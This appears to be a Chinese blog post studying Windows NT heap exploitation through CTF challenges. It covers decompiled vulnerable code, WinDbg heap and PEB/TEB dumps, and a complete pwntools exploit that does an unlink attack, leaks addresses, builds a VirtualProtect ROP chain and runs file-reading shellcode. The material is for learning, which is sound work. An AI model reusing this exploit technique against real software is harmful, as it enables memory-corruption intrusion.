Windows堆机制学习

字数统计: 7.5k字   |   阅读时长≈ 39分

Windows堆比较复杂，希望通过这篇文章对Windows的堆机制有一个系统全面的了解，包括堆分配、堆回收机制，以及堆的缺点，同时明白常用的堆漏洞利用技巧。同时来续上，之前半途而废的文章。

后端堆Unlink

Hello-Win

程序分析

1
2
3
4
5
6
7
8
9
printf("[+] Hello! ");
printf(buf);                                  // 格式化字符串
if ( strstr(buf, "%") )
{
  puts(byte_14000415E);
  puts("[-] Wait...that's fmt,not you name...:(");
  Sleep(0x3E8u);
  exit(0);
}

存在格式化字符串漏洞，但是输出后，会被检查退出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
  puts("[+] Please input size:");
  if ( (unsigned int)get_num((__int64)"%d", &size) != 1 )// chunk overflow
LABEL_14:
    exit(1);
  getchar();
  if ( (unsigned int)(size - 1) > 0x1FF )
  {
    puts("[-] Something wrong...");
    exit(1);
  }
  puts("[+] Please input content:");
  size1 = size;
  chunk_ptr = chunk_list[idx];
  result = getchar();
  i = 0i64;
  do                                            // 输入新的size，可以大于原size，造成chunk overlap
  {
    if ( (_BYTE)result == 10 )
      break;
    *(_BYTE *)(i + chunk_ptr) = result;
    ++i;
    result = getchar();
  }
  while ( i != size1 );
  return result;
}

在Edit函数中有一个堆溢出漏洞。同时可以拥有一次 UAF漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int show()
{
  const char *chunk_ptr; // rcx
  unsigned int idx; // [rsp+20h] [rbp-18h] BYREF

  idx = -1;
  puts("[+] Input index:");
  if ( (unsigned int)get_num((__int64)"%d", &idx) != 1 )
    exit(1);
  getchar();
  if ( idx > 0xF )
  {
    puts("[-] Array oob...");
    exit(1);
  }
  if ( chunk_list[idx] && used_flag[idx] )
  {
    printf("[+] content: ");
    chunk_ptr = (const char *)chunk_list[idx];
  }
  else
  {
    chunk_ptr = "[-] Dont't exist...";
  }
  return puts(chunk_ptr);
}

show时存在一个数据泄露。

利用分析

首先可以调试一下，发现是 NT堆，有堆溢出漏洞和 UAF漏洞。那么稳定利用就是依靠 Unlink攻击。

首先申请 5个堆块，依次释放 chunk2、chunk4，这里 释放 chunk4是为了让 chunk4进入 Freelist首部 和 进入 listhead，使得chunk2后续合并时可以跳过这段检查。chunk3是为了防止 chunk2和 chunk4合并，chunk5是为了防止 chunk4与 top chunk合并。

然后通过 show(1)，泄露 chunk2的 chunk_header。

然后通过堆溢出，修改 chunk2的 Flink=&chunk2-8和 Blink=&chunk2，然后释放 chunk1，构造 unlink攻击即可。

那么这里的问题在于如何泄露 程序基址，以及各 加载库的基址。这里用到一个小技巧，就是 windows下的程序的 ASLR，并不是没启动一次程序就会变化一次，而是在一定时间范围内程序基址不改变的。所以，我们可以利用格式化字符串漏洞来泄露地址。然后即使程序退出了，再次运行时，基址也可以不改变。

得到程序基址后，就可以得到 chunk2=&chunk2，然后得到任意地址读写漏洞。

通过这个任意地址读写漏洞，可以利用导入导出表泄露 kernel.dll、ntdll.dll和 ucrtbase.dll等地址。这里我尝试过直接使用格式化字符串输出栈上残留的这些库的地址，但是 %np的方式并没有成功，这种方法在windows下应该并不会成功。而且对于一些与内核相关的dll，其对于所有程序来说都是共享同一个虚拟地址，ntdll.dll、 kernel32.dll。

随后即可利用ROP、或者 shellcode来 getshell。

释放 chunk2之后：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//chunk2_header
0:000> dq 1de18fb0000+7d0
000001de`18fb07d0  00000000`00000000 000038ef`855ab36b
000001de`18fb07e0  000001de`18fb0960 000001de`18fb0150		//Flink=top_chunk,Blink=Freelist
//xor header
0:000> ? 000038e9`835ab36d^000038ef`855ab36b
Evaluate expression: 25870467078 = 00000006`06000006

//Freelist
0:000> dq 1de18fb0000+150
000001de`18fb0150  000001de`18fb07e0 000001de`18fb0960		//Flink->chunk2

//BlocksIndex:
0:000> dt _Heap_LIST_LOOKUP 0x000001de`18fb02c0
ntdll!_HEAP_LIST_LOOKUP
   +0x000 ExtendedLookup   : (null) 	//只有一个BlocksIndex列表
   +0x008 ArraySize        : 0x80
   +0x00c ExtraItem        : 0	
   +0x010 ItemCount        : 2			//有两个空闲堆块
   +0x014 OutOfRangeItems  : 1			//top chunk超出 0x80
   +0x018 BaseIndex        : 0
   +0x020 ListHead         : 0x000001de`18fb0150 _LIST_ENTRY [ 0x000001de`18fb07e0 - 0x000001de`18fb0960 ]
   +0x028 ListsInUseUlong  : 0x000001de`18fb02f8  -> 0x40
   +0x030 ListHints        : 0x000001de`18fb0308  -> (null) 
//ListHint
0:000> dq 0x000001de`18fb0308
000001de`18fb0308  00000000`00000000 00000000`00000000
000001de`18fb0318  00000000`00000000 00000000`00000000
000001de`18fb0328  00000000`00000000 00000000`00000000
000001de`18fb0338  000001de`18fb07e0 00000000`00000000	//0x60=chunk2
000001de`18fb0348  00000000`00000000 00000000`00000000
000001de`18fb0358  00000000`00000000 00000000`00000000
000001de`18fb0368  00000000`00000000 00000000`00000000
000001de`18fb0378  00000000`00000000 00000000`00000000
//ListHead
0:000> dq 0x000001de`18fb0150
000001de`18fb0150  000001de`18fb07e0 000001de`18fb0960	//Flink=chunk2

泄露chunk2堆头:

1
2
3
0:000> dq 1de18fb0000+7d0
000001de`18fb07d0  61616161`61616161 000038ef`855ab36b
000001de`18fb07e0  000001de`18fb0960 000001de`18fb0150

释放chunk4，可以看到已经将 chunk2从 ListHint和 ListHead的头部移除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//chunk4
0:000> dq 1de18fb0000+7d0+0xc0
000001de`18fb0890  00000000`00000000 000038ef`855ab36b
000001de`18fb08a0  000001de`18fb07e0 000001de`18fb0150	//Flink=Top_chunk Blink=chunk2
//xor header
0:000> ? 000038e9`835ab36d^000038ef`855ab36b
Evaluate expression: 25870467078 = 00000006`06000006

//Freelist
0:000> dq 1de18fb0000+150
000001de`18fb0150  000001de`18fb08a0 000001de`18fb0960	//Flink=chunk4, Blink=Top_chunk

//BlocksIndex
0:000> dt _Heap_LIST_LOOKUP 0x000001de`18fb02c0
ntdll!_HEAP_LIST_LOOKUP
   +0x000 ExtendedLookup   : (null) 
   +0x008 ArraySize        : 0x80
   +0x00c ExtraItem        : 0
   +0x010 ItemCount        : 3
   +0x014 OutOfRangeItems  : 1
   +0x018 BaseIndex        : 0
   +0x020 ListHead         : 0x000001de`18fb0150 _LIST_ENTRY [ 0x000001de`18fb08a0 - 0x000001de`18fb0960 ]
   +0x028 ListsInUseUlong  : 0x000001de`18fb02f8  -> 0x40
   +0x030 ListHints        : 0x000001de`18fb0308  -> (null) 
//ListHints
0:000> dq 0x000001de`18fb0308
000001de`18fb0308  00000000`00000000 00000000`00000000
000001de`18fb0318  00000000`00000000 00000000`00000000
000001de`18fb0328  00000000`00000000 00000000`00000000
000001de`18fb0338  000001de`18fb08a0 00000000`00000000	//ListHint[6]=chunk4
000001de`18fb0348  00000000`00000000 00000000`00000000
000001de`18fb0358  00000000`00000000 00000000`00000000
000001de`18fb0368  00000000`00000000 00000000`00000000
000001de`18fb0378  00000000`00000000 00000000`00000000
//ListHead
0:000> dt _LIST_ENTRY 0x000001de`18fb0150
ntdll!_LIST_ENTRY
 [ 0x000001de`18fb08a0 - 0x000001de`18fb0960 ]
   +0x000 Flink            : 0x000001de`18fb08a0 _LIST_ENTRY [ 0x000001de`18fb07e0 - 0x000001de`18fb0150 ]
   +0x008 Blink            : 0x000001de`18fb0960 _LIST_ENTRY [ 0x000001de`18fb0150 - 0x000001de`18fb07e0 ]

Unlink攻击：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//changed chunk2_header
0:000> dq 1de18fb0000+7d0
000001de`18fb07d0  61616161`61616161 000038ef`855ab36b
000001de`18fb07e0  00007ff7`20b26628 00007ff7`20b26630	//Flink=&chunk2-8 Blink=&chunk2

//Unlinked
//chunk2=&chunk2
0:000> dq 00007ff7`20b26630
00007ff7`20b26630  00007ff7`20b26630 000001de`18fb0840

//Freelist 没有改变，因为检查chunk4时 abort
0:000>  dt _LIST_ENTRY 1de18fb0000+150
ntdll!_LIST_ENTRY
 [ 0x000001de`18fb08a0 - 0x000001de`18fb0960 ]
   +0x000 Flink            : 0x000001de`18fb08a0 _LIST_ENTRY [ 0x000001de`18fb07e0 - 0x000001de`18fb0150 ]
   +0x008 Blink            : 0x000001de`18fb0960 _LIST_ENTRY [ 0x000001de`18fb0150 - 0x000001de`18fb07e0 ]
   
//BlocksIndex
0:000> dt _Heap_LIST_LOOKUP 0x000001de`18fb02c0
ntdll!_HEAP_LIST_LOOKUP
   +0x000 ExtendedLookup   : (null) 
   +0x008 ArraySize        : 0x80
   +0x00c ExtraItem        : 0
   +0x010 ItemCount        : 3
   +0x014 OutOfRangeItems  : 1
   +0x018 BaseIndex        : 0
   +0x020 ListHead         : 0x000001de`18fb0150 _LIST_ENTRY [ 0x000001de`18fb08a0 - 0x000001de`18fb0960 ]
   +0x028 ListsInUseUlong  : 0x000001de`18fb02f8  -> 0x1040
   +0x030 ListHints        : 0x000001de`18fb0308  -> (null) 
//ListHints 中已经被修改插入
0:000> dq 0x000001de`18fb0308
000001de`18fb0308  00000000`00000000 00000000`00000000
000001de`18fb0318  00000000`00000000 00000000`00000000
000001de`18fb0328  00000000`00000000 00000000`00000000
000001de`18fb0338  000001de`18fb08a0 00000000`00000000
000001de`18fb0348  00000000`00000000 00000000`00000000
000001de`18fb0358  00000000`00000000 00000000`00000000
000001de`18fb0368  000001de`18fb0780 00000000`00000000	//consolidated chunk1
000001de`18fb0378  00000000`00000000 00000000`00000000

任意地址读写到 getshell

首先使用 IAT表得到各个库的基址，这里选用如下地址泄露 得到 Kernel32.dll和 ucrtbase.dll的基址

1
2
3
4
5
6
//Kernel32.dll
.idata:0000000140003000 ; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)
.idata:0000000140003000                 extrn HeapCreate:qword  ; CODE XREF: add+32↑p
//ucrtbase.dll
.idata:0000000140003100 ; void __cdecl __noreturn exit(int Code)
.idata:0000000140003100                 extrn __imp_exit:qword  ; CODE XREF: init1+DD↑p

但是，这个程序并没有导入 ntdll.dll的地址。所以我们需要借助 Kernel32.dll来泄露 ntdll.dll的基址：

1
2
//kernel32.dll 中的 ntdll.dll函数
.idata:000000018007A1C8                 extrn atol:qword        ; CODE XREF: sub_18003C934+F8↑p

然后如果考虑使用 ROP或者 shellcode，都需要能做到 控制程序指令流。由于没有可以供我们劫持函数指针，只能劫持 ret地址。那么就需要泄露 栈地址。那么如何泄露返回地址所在的栈地址？

首先为什么不能利用最开始的格式化字符串泄露的栈地址，因为利用格式化字符串后程序退出，再启动时栈地址是改变的，不能够利用。

这里有一种比较通用的方法：

对于 Windows 的程序来说，每个进程都有一个PEB，每个线程都有一个TEB，而且他们的相对偏移一般是固定的。那么我们只要知道PEB的地址，就可以计算出TEB的地址，从而泄露StackBase。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:000> !teb
TEB at 0000005b71f00000
    ExceptionList:        0000000000000000
    StackBase:            0000005b72100000		//栈地址高地址
    StackLimit:           0000005b720fd000		//栈地址低地址
    SubSystemTib:         0000000000000000
    FiberData:            0000000000001e00
    ArbitraryUserPointer: 0000000000000000
    Self:                 0000005b71f00000
    EnvironmentPointer:   0000000000000000
    ClientId:             0000000000001da8 . 000000000000022c
    RpcHandle:            0000000000000000
    Tls Storage:          0000005b71f00058
    PEB Address:          0000005b71eff000
    LastErrorValue:       0
    LastStatusValue:      0
    Count Owned Locks:    0
    HardErrorMode:        0

但是PEB的地址又该怎么查询呢，在ntdll!PebLdr附近，有一个值可以泄露出PEB的地址，其调试结果如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
0:000> r $peb
$peb=0000005b71eff000	//peb基址

//peb
0:000> ! peb
PEB at 0000005b71eff000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            Yes
    ImageBaseAddress:         00007ff720b20000	//程序基址
    NtGlobalFlag:             0
    NtGlobalFlag2:            0
    Ldr                       00007ffa7f2a53c0
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 000001de18cc24a0 . 000001de18cc4100
    Ldr.InLoadOrderModuleList:           000001de18cc2610 . 000001de18cc40e0
    Ldr.InMemoryOrderModuleList:         000001de18cc2620 . 000001de18cc40f0
                    Base TimeStamp                     Module		//加载模块的基址
            7ff720b20000 5f78a62a Oct 04 00:26:18 2020 C:\Users\Alex\Desktop\ctf\End-Unlink\overflow.exe
            7ffa7f140000 a52b7c6a Oct 24 03:22:18 2057 C:\Windows\SYSTEM32\ntdll.dll
            7ffa7e000000 afdeac32 Jul 02 20:44:34 2063 C:\Windows\System32\KERNEL32.DLL
            7ffa7cf50000 1a30e11b Dec 05 02:36:11 1983 C:\Windows\System32\KERNELBASE.dll
            7ffa7c300000 5cbddb81 Apr 22 23:19:29 2019 C:\Windows\System32\ucrtbase.dll
            7ffa78950000 5e155520 Jan 08 12:05:52 2020 C:\Users\Alex\Desktop\ctf\End-Unlink\VCRUNTIME140.dll
    SubSystemData:     0000000000000000
    ProcessHeap:       000001de18cc0000
    ProcessParameters: 000001de18cc1c50
    CurrentDirectory:  'C:\Users\Alex\Desktop\ctf\End-Unlink\'
    WindowTitle:  'win_server  overflow.exe 10002'
    ImageFile:    'C:\Users\Alex\Desktop\ctf\End-Unlink\overflow.exe'
    CommandLine:  'overflow.exe'
    DllPath:      '< Name not readable >'
    Environment:  000001de18cc0fe0
        =::=::\
        =C:=C:\Users\Alex\Desktop\ctf\End-Unlink
        ALLUSERSPROFILE=C:\ProgramData
        APPDATA=C:\Users\Alex\AppData\Roaming
        CommonProgramFiles=C:\Program Files\Common Files
        CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
        CommonProgramW6432=C:\Program Files\Common Files
        COMPUTERNAME=DESKTOP-I4R6QH8
        ComSpec=C:\Windows\system32\cmd.exe
        DriverData=C:\Windows\System32\Drivers\DriverData
        HOMEDRIVE=C:
        HOMEPATH=\Users\Alex
        LOCALAPPDATA=C:\Users\Alex\AppData\Local
        LOGONSERVER=\\DESKTOP-I4R6QH8
        NUMBER_OF_PROCESSORS=4
        OneDrive=C:\Users\Alex\OneDrive
        OS=Windows_NT
//这里可以利用 
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Alex\Desktop\win_server-master\win_server-master;C:\Users\Alex\AppData\Local\Microsoft\WindowsApps;
        PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
        PROCESSOR_ARCHITECTURE=AMD64
        PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 158 Stepping 9, GenuineIntel
        PROCESSOR_LEVEL=6
        PROCESSOR_REVISION=9e09
        ProgramData=C:\ProgramData
        ProgramFiles=C:\Program Files
        ProgramFiles(x86)=C:\Program Files (x86)
        ProgramW6432=C:\Program Files
        PROMPT=$P$G
        PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
        PUBLIC=C:\Users\Public
        SESSIONNAME=Console
        SystemDrive=C:
        SystemRoot=C:\Windows
        TEMP=C:\Users\Alex\AppData\Local\Temp
        TMP=C:\Users\Alex\AppData\Local\Temp
        USERDOMAIN=DESKTOP-I4R6QH8
        USERDOMAIN_ROAMINGPROFILE=DESKTOP-I4R6QH8
        USERNAME=Alex
        USERPROFILE=C:\Users\Alex
        windir=C:\Windows
    
//ntdll!PebLdr变量
0:000> dd ntdll!PebLdr
00007ffa`7f2a53c0  00000058 00000001 00000000 00000000
00007ffa`7f2a53d0  18cc2610 000001de 18cc40e0 000001de
00007ffa`7f2a53e0  18cc2620 000001de 18cc40f0 000001de
00007ffa`7f2a53f0  18cc24a0 000001de 18cc4100 000001de
00007ffa`7f2a5400  00000000 00000000 00000000 00000000
00007ffa`7f2a5410  00000000 00000000 00000002 00000000
00007ffa`7f2a5420  18cc0000 000001de 00000000 00000000
00007ffa`7f2a5430  00000000 00000000 00000000 00000000
//ntdll!pebLdr - 0x98
0:000> dq 00007ffa`7f2a5300 
00007ffa`7f2a5300  00000000`00000000 00007ff7`20b20100
00007ffa`7f2a5310  00000000`00000000 00000000`00000000
00007ffa`7f2a5320  00000000`00000400 0000005b`71eff240		//peb_addr+0x240 偏移固定	
00007ffa`7f2a5330  00000000`00620026 000001de`18cc2410
00007ffa`7f2a5340  00000000`00000040 0000005b`71eff080
00007ffa`7f2a5350  57dd01c0`0007ffa9 00000000`00000000
00007ffa`7f2a5360  00000000`00000000 00000000`00000000
00007ffa`7f2a5370  00000000`00000000 00000000`00000008

从上面可以看到ntdll!PebLdr向上偏移0x98字节的地方存储着PEB地址的信息，而且这个地址信息和PEB地址的偏移总是0x240（不同系统偏移不一样，需要具体调试），所以我们可以利用该地址信息来计算出PEB的地址。

又因为PEB和TEB的地址的偏移是固定的，我们可以计算出babyheap线程的TEB的地址然后泄露出该线程的栈基地址。但是，得到栈地址后，又如何确定返回地址所在。由于受到ASLR影响，main函数的返回地址对于StackBase来说并不是固定偏移的，这点和Linux是一样的，

这里由于已经实现了任意地址读和知道程序基地址，可以利用爆破的方法，不断读取栈地址，如果是 main函数的返回地址即为正确的栈地址。

rop or shellcode

执行 shellcode如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
rop = flat([
    p_rdx_r11_ret, 0x1000, 0,
    p_rcx_ret, shellcode_page,
    p_r8_ret, 0x40,
    p_r9_r10_r11_ret, buf-8, 0, 0,
    VirtualProtect,
    shellcode_addr
])
//orw 的 shellcode
    sub rsp, 0x1000 ;// to prevent underflowing
    mov rcx, %d
    mov edx, 0x80000000
    mov r8d, 1
    xor r9d, r9d
    mov dword ptr[rsp + 0x20], 3
    mov dword ptr[rsp + 0x28], 0x80
    mov [rsp + 0x30], r9
    mov rax, %d
    call rax ;// CreateFile         
    mov rcx, rax
    lea rdx, [rsp + 0x200]
    mov r8d, 0x200
    lea r9, [rsp + 0x30]
    xor eax, eax
    mov [rsp + 0x20], rax
    mov rax, %d
    call rax ;// ReadFile
    mov ecx, 0xfffffff5; //STD_OUTPUT_HANDLE
    mov rax, %d
    call rax ;// GetStdHandle
    mov rcx, rax
    lea rdx, [rsp + 0x200]
    mov r8d, [rsp + 0x30]
    lea r9, [rsp + 0x40]
    xor eax, eax
    mov [rsp + 0x20], rax
    mov rax, %d
    call rax ;// WriteFile
    ''' % (flag_addr,CreateFile,ReadFile,GetStdHandle,WriteFile)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
leak = 1
if debug == 1:
    p = remote('192.168.44.175', 10002)

#plt
puts_offset = 0x31b8
heapfree_offset = 0x3008
ret_stack_off = 0x0

#kernel32
atoi_off = 0x7a1c8
Ldr_load_dll_off = 0x79360
def Add(size, content):
    p.recvuntil('*********]\r\n')
    p.recvuntil('*********]\r\n')
    p.sendline(str(1))
    p.recvuntil('input size:\r\n')
    p.sendline(str(size))
    p.recvuntil('input content:\r\n')
    p.sendline(content)

def Show(idx):
    p.recvuntil('*********]\r\n')
    p.recvuntil('*********]\r\n')
    p.sendline(str(2))
    p.recvuntil('Input index:\r\n')
    p.sendline(str(idx))

def overflow(idx, size, content):
    p.recvuntil('*********]\r\n')
    p.recvuntil('*********]\r\n')
    p.sendline(str(3))
    p.recvuntil('Input index:\r\n')
    p.sendline(str(idx))
    p.recvuntil('Please input size:\r\n')
    p.sendline(str(size))
    p.recvuntil('input content:\r\n')
    p.send(content+'\n')

def delete(idx):
    p.recvuntil('*********]\r\n')
    p.recvuntil('*********]\r\n')
    p.sendline(str(4))
    p.recvuntil('Input index:\r\n')
    p.sendline(str(idx))

def Used(idx):
    p.recvuntil('*********]\r\n')
    p.recvuntil('*********]\r\n')
    p.sendline(str(88))
    p.recvuntil('Input index:\r\n')
    p.send(str(idx)+'\n')


p.recvuntil('[+] Now,are you ready?\r\n')
p.sendline('Yes,me is!!!')
raw_input()

#leak addr
# payload = '%p%p%p%p%p'
# p.sendlineafter('me your name:\r\n', payload)
# p.recvuntil('[+] Hello!')
# addr_data = p.recvuntil('\r\n', drop=True)
# ucrt_based = int(addr_data[:17], 16) - 0xeb770
# stack_addr = int(addr_data[17:32], 16)
# p.recv(16)
# p.recv(16)
# plt_base = int(addr_data[-17:], 16) - 0x1b4a
# print 'ucrt_based:',hex(ucrt_based)
# print 'plt_base:',hex(plt_base)
# print 'stack_base:',hex(stack_addr)

p.sendlineafter('me your name:\r\n','a')

chunk_list = 0x6620
ucrt_base = 0x7ffa7c300000
stack_addr = 0x14e1c
plt_base = 0x7ff720b20000
#ntdll
p_rcx_ret = 0x21527
p_rdx_r11_ret = 0x8c457
p_r8_ret = 0x4d6cf
p_r9_r10_r11_ret = 0x8c454
chunk_list = 0x6620 + plt_base


p.recvuntil('Please tell me your password:\r\n')
p.sendline('a')
raw_input()
Add(0x58, 'a')
Add(0x58, 'b')
Add(0x58, 'c')
Add(0x58, 'd')
Add(0x58, 'e')
Add(0X58, 'f')

delete(2)

#leak freed_chunk_head
chunk_head = ""

payload = 'a'*0x58
overflow(1, len(payload), payload)
Show(1)
p.recvuntil('[+] content: ')
p.recvuntil('a'*len(payload))
chunk_head = u64(p.recv(6).ljust(8, '\x00'))
print 'chunk_head:',hex(chunk_head)

delete(4)
#chaneg flink and blink
payload = 'a'*0x58 + p64(chunk_head) + p64(chunk_list+0x8) + p64(chunk_list+0x10)
overflow(1, len(payload),payload)

#trigger unlink attack
delete(1)  #

puts_import = puts_offset + plt_base
heapfree_import = heapfree_offset + plt_base
print 'puts_iat:',hex(puts_import)
print 'heapfree_iat:',hex(heapfree_import)

Used(2)
payload = p64(chunk_list+0x18) + p64(heapfree_import)
overflow(2, len(payload), payload)
raw_input()
Show(3)
p.recvuntil('[+] content: ')
kernel_base = u64(p.recvuntil('\r\n', drop=True).ljust(8, '\x00')) - 0x160c0
print 'kernel_base:',hex(kernel_base)

ldr_import = Ldr_load_dll_off + kernel_base
print 'ldr:',hex(ldr_import)

payload = p64(ldr_import)
overflow(2, len(payload), payload)
Show(3)
p.recvuntil('[+] content: ')
ntdll_base = u64(p.recv(6).ljust(8, '\x00')) - 0x21610

#ntdll_base = 0x7ffe2b920000
p_rcx_ret = p_rcx_ret + ntdll_base
p_rdx_r11_ret = p_rdx_r11_ret + ntdll_base
p_r8_ret = p_r8_ret + ntdll_base
p_r9_r10_r11_ret = p_r9_r10_r11_ret + ntdll_base
print 'ntdll_base:',hex(ntdll_base),'p_rcx_ret:',hex(p_rcx_ret),'p_rdx_ret:',hex(p_rdx_r11_ret)

peb_ldr_off = 0x1653c0
peb_ldr_addr = peb_ldr_off + ntdll_base
print 'peb_ldf_addr:',hex(peb_ldr_addr)
peb_addr = peb_ldr_addr - 0x98
print 'peb_addr:',hex(peb_addr)

payload = p64(peb_addr)
overflow(2, len(payload), payload)

Show(3)
p.recvuntil('[+] content: ')

peb_base = u64(p.recvuntil('\r\n', drop=True).ljust(8, '\x00')) - 0x240#<< 16
teb_base = peb_base + 0x1000
print 'peb_base:',hex(peb_base),'teb_base:',hex(teb_base)

overflow(2,8,p64(peb_base+0x20))
Show(3)
p.recvuntil('content: ')
ProcessParameter = u64(p.recvuntil('\r\n',drop=True).ljust(8,'\x00'))
log.success('ProcessParameter = '+hex(ProcessParameter))
# #raw_input()
overflow(2,8,p64(ProcessParameter+0x20))
Show(3)
p.recvuntil('content: ')
hstdin = u64(p.recvuntil('\r\n',drop=True).ljust(8,'\x00'))
log.success('hstdin = '+hex(hstdin))

#leak Stackaddr
print '=================> leak stack addr'
raw_input()
result = ''
while(len(result) <= 4):
    result_length = len(result)
    payload = p64(teb_base+0x10+result_length)
    overflow(2, len(payload), payload)
    Show(3)
    p.recvuntil('[+] content: ')
    result += p.recvuntil('\r\n', drop=True) + '\0'
print("result:",result)
Stacklimit = u64(result[:5].ljust(8, b'\x00'))
StackBase = Stacklimit + 0x3000
log.success('StackBase: ' + hex(StackBase)+hex(Stacklimit))


payload = p64(plt_base + 0x66b8 + 3)
overflow(2, len(payload), payload + '\n')
overflow(3, 8, p8(1) * 8 + '\n')

main_ret_content = plt_base + 0x20d0
log.success('main_ret_content: ' + hex(main_ret_content))
# search stack
log.info('Start searching stack, it will take a long time.')
main_ret_addr = 0
for addr in range(StackBase - 0x1000, StackBase-0x10, 0x10):
    if(main_ret_addr == 0):
        overflow(2, 0x20, p64(addr + 0x18) + p64(addr + 0x10) + p64(addr + 8) + p64(addr) + '\n')
        for i in range(3, 3 + 4):
            Show(i)
            p.recvuntil('[+] content: ')
            result = p.recvuntil('\r\n', drop=True)[:8]
            content = u64(result.ljust(8, '\0'))
            if(content == main_ret_content):
                main_ret_addr = addr + (3-(i-3)) * 8
                break

log.success('main_ret_addr: ' + hex(main_ret_addr))

VirtualProtect = kernel_base + 0x1ad00#0x36b40#+ 0x1afe0	//从kernel32中寻找调用Kernelbase.dll的地址
ReadFile = kernel_base + 0x22180
CreateFile = kernel_base + 0x21df0
WriteFile = kernel_base + 0x22270
GetStdHandle = kernel_base + 0x1c380
print 'VP:',hex(VirtualProtect),'RF:',hex(ReadFile),'CF:',hex(CreateFile),'WF:',hex(WriteFile),'GS:',hex(GetStdHandle)

buf = plt_base + 0x6800
flag_addr = plt_base + 0x6640

shellcode_addr = main_ret_addr+0x100#plt_base + 0x6800
shellcode_page = shellcode_addr & 0xfffffffffffff000
rop = flat([
    # p_rdx_r11_ret, buf, 0,
    # p_rcx_ret, hstdin,
    # p_r8_ret, 0x300,
    # p_r9_r10_r11_ret, shellcode_addr-8, 0, 0,
    # ReadFile,
    p_rdx_r11_ret, 0x1000, 0,
    p_rcx_ret, shellcode_page,
    p_r8_ret, 0x40,
    p_r9_r10_r11_ret, buf-8, 0, 0,
    VirtualProtect,
    shellcode_addr
])

asm_str = '''
    sub rsp, 0x1000 ;// to prevent underflowing
    mov rcx, %d
    mov edx, 0x80000000
    mov r8d, 1
    xor r9d, r9d
    mov dword ptr[rsp + 0x20], 3
    mov dword ptr[rsp + 0x28], 0x80
    mov [rsp + 0x30], r9
    mov rax, %d
    call rax ;// CreateFile         
    mov rcx, rax
    lea rdx, [rsp + 0x200]
    mov r8d, 0x200
    lea r9, [rsp + 0x30]
    xor eax, eax
    mov [rsp + 0x20], rax
    mov rax, %d
    call rax ;// ReadFile
    mov ecx, 0xfffffff5; //STD_OUTPUT_HANDLE
    mov rax, %d
    call rax ;// GetStdHandle
    mov rcx, rax
    lea rdx, [rsp + 0x200]
    mov r8d, [rsp + 0x30]
    lea r9, [rsp + 0x40]
    xor eax, eax
    mov [rsp + 0x20], rax
    mov rax, %d
    call rax ;// WriteFile
    ''' % (flag_addr,CreateFile,ReadFile,GetStdHandle,WriteFile)
shellcode = asm(asm_str)

payload = p64(main_ret_addr) + 'flag.txt\x00'
overflow(2, len(payload), payload)
payload = rop
payload = payload.ljust(0x100, b'\x00')
payload += shellcode
overflow(3, len(payload), payload)

print "======================> virtual protect"

raw_input()
p.recvuntil('*********]\r\n')
p.recvuntil('*********]\r\n')
p.sendline(str(88))

print "=================> get orw"
#p.send(shellcode)

p.interactive()

2019-ogeekctf babyheap

程序分析

程序总体逻辑和 Hello-win很像，漏洞点也是一个堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:00401478 loc_401478:                             ; CODE XREF: .text:004011E9↑j
.text:00401478                 push    offset aYouFindTheHidd ; "You find the hidden level!"
